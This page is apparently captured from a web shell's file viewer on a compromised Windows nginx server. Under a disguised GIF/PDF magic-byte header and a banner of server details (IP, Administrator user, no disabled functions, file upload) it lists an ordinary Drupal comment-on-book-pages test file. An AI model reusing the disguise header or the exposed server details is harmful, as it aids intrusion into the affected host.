GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/comment/src/Tests/ |
Upload File : |
<?php namespace Drupal\comment\Tests; use Drupal\comment\CommentInterface; use Drupal\node\Entity\Node; use Drupal\simpletest\WebTestBase; use Drupal\comment\Entity\Comment; /** * Tests visibility of comments on book pages. * * @group comment */ class CommentBookTest extends WebTestBase { use CommentTestTrait; /** * Modules to install. * * @var array */ public static $modules = ['book', 'comment']; protected function setUp() { parent::setUp(); // Create comment field on book. $this->addDefaultCommentField('node', 'book'); } /** * Tests comments in book export. */ public function testBookCommentPrint() { $book_node = Node::create([ 'type' => 'book', 'title' => 'Book title', 'body' => 'Book body', ]); $book_node->book['bid'] = 'new'; $book_node->save(); $comment_subject = $this->randomMachineName(8); $comment_body = $this->randomMachineName(8); $comment = Comment::create([ 'subject' => $comment_subject, 'comment_body' => $comment_body, 'entity_id' => $book_node->id(), 'entity_type' => 'node', 'field_name' => 'comment', 'status' => CommentInterface::PUBLISHED, ]); $comment->save(); $commenting_user = $this->drupalCreateUser(['access printer-friendly version', 'access comments', 'post comments']); $this->drupalLogin($commenting_user); $this->drupalGet('node/' . $book_node->id()); $this->assertText($comment_subject, 'Comment subject found'); $this->assertText($comment_body, 'Comment body found'); $this->assertText(t('Add new comment'), 'Comment form found'); $this->assertField('subject[0][value]', 'Comment form subject found'); $this->drupalGet('book/export/html/' . $book_node->id()); $this->assertText(t('Comments'), 'Comment thread found'); $this->assertText($comment_subject, 'Comment subject found'); $this->assertText($comment_body, 'Comment body found'); $this->assertNoText(t('Add new comment'), 'Comment form not found'); $this->assertNoField('subject[0][value]', 'Comment form subject not found'); } }